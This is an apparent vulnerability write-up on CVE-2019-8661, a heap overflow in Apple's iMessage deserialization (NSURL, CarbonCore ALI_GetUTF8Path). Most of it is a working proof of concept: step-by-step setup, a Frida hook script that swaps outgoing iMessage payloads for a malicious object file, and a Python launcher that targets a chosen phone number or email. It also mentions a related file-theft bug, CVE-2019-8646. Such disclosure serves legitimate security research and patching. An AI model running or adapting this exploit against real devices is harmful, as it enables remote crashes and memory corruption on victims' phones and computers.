A security vulnerability has been found in Apple’s chat program iMessage
Summary:
A security researcher by the name of Natalie Silvanovich
who is part of Google’s Project zero team has found
a vulnerability affecting iMessage
that lets the malicious third party form a malicious message that crashes
the receivers device.
The vulnerability has been reserved the CVE CVE-2019-8661
The vulnerability exploits the unsafe function strcat_chk
that is being used in
MacOSX’s CarbonCore framework via its ALI_Get_UTF8Path
The author describes the vulnerability as the following:
There is a heap overflow in [NSURL initWithCoder:] that can be
reached via iMessage and likely other paths.
When an NSURL is deserialized, one property its
plist can contain is NS.minimalBookmarkData, which is
then used as a parameter for [NSURL URLByResolvingBookmarkData:options:relativeToURL:bookmarkDataIsStale:error:].
This method uses a wide variety of code to parse the provided bookmark data.
On a Mac, if the data is a pre-2012 alias file, it will
be processed using the FSResolveAliasWithMountFlags function
in the CarbonCore framework.
This function can eventually call ALI_GetUTF8Path,
which has an unsafe call to strcat_chk, leading to memory corruption.
Proof of concept
A python script has been written to demonstrate how this could be exploited using the python framework frida
Steps
-
First step install the python frame work frida with python’s package manager pip
-
Second step Edit sendMessage.py and add the receivers email or phone number
-
Third step Edit the injectMessage.js file and define the path of the obj file.
the obj file you will find in the link to the archive file on Packetstorm Security. -
Last step Run the sendMessage.py script: python sendMessage.py
Scripts
injectMessage.js
// Whether the serialized outgoing message should be replaced entirely.
var replaceSerializedMessage = false;
// Create the replacement data.
var dataLen = 0x100;
var rawData = new Uint8Array(dataLen);
for (var i = 0; i < dataLen; i++)
rawData[i] = 0x41;
var buffer = Memory.alloc(dataLen);
buffer.writeByteArray(rawData.buffer);
var replacementData = ObjC.classes.NSData.dataWithBytes_length_(buffer, dataLen);
// Hook the message serialization routine.
var jw_encode_dictionary_addr = Module.getExportByName(null, "JWEncodeDictionary");
send("Hooking JWEncodeDictionary" + jw_encode_dictionary_addr);
Interceptor.attach(jw_encode_dictionary_addr, {
onEnter: function(args) {
var dict = ObjC.Object(args[0]);
if (dict == null) {
return;
}
send(dict.toString())
var t = dict.objectForKey_("t")
if (t == null) {
return;
}
if (t == "REPLACEME") {
var newDict = ObjC.classes.NSMutableDictionary.dictionaryWithCapacity_(dict.count());
console.log("here");
var d = ObjC.classes.NSData.dataWithContentsOfFile_("PATH/obj");
console.log(d);
var n = ObjC.classes.NSNumber.numberWithInt_(0x77777);
var a = ObjC.classes.NSMutableArray.arrayWithObject_("mailto:asdf@gmail.com");
a.addObject_("tel:+16508805555");
newDict.setObject_forKey_("com.apple.messages.MSMessageExtensionBalloonPlugin.com.apple.PassbookUIService.PeerPaymentMessagesExtension", "bid");
newDict.setObject_forKey_(a, "p");
newDict.setObject_forKey_(d, "bp");
newDict.setObject_forKey_("B1A83E5A-F365-4715-9960-B9C53F8AE987", "gid");
newDict.setObject_forKey_(8, "gv");
newDict.setObject_forKey_(0, "p");
newDict.setObject_forKey_("D5C6AEB7-FBD8-41AA-89CD-F8129C4261B1", "r");
newDict.setObject_forKey_(1, "v");
args[0] = newDict.handle;
send("DONE");
}
},
onLeave: function(retval) {
if (replaceSerializedMessage) {
console.log("replacing")
retval.replace(replacementData);
replaceSerializedMessage = false;
}
}
});
sendMessage.py
import frida
import sys
import subprocess
import time
# define the recievers email or phone number
receiver = "YOUR EMAIL"
exit = False
def on_message(message, data):
global exit
if message['type'] == 'send':
payload = message['payload']
if payload == "DONE":
print("done")
exit = True
return
else:
print(message)
session = frida.attach("imagent")
code = open('injectMessage.js', 'r').read()
script = session.create_script(code);
script.on("message", on_message)
script.load()
# Send a message through apple script. Our hook will detect it and replace it before sending.
subprocess.call(["osascript", "sendMessage.applescript", receiver, "REPLACEME"])
while not exit:
time.sleep(0.1)
The same author is also behind CVE-2019-8646 which
can be used to remotely steal files from a targets device throw iMessage.
External links:
Packetstorm Security Mirror of the vulnerability
Frida
Natalie Silvanovich website
Google project zero
CVE-2019-8646 video
Stay up to date with Vulnerability Management and build cool things with our API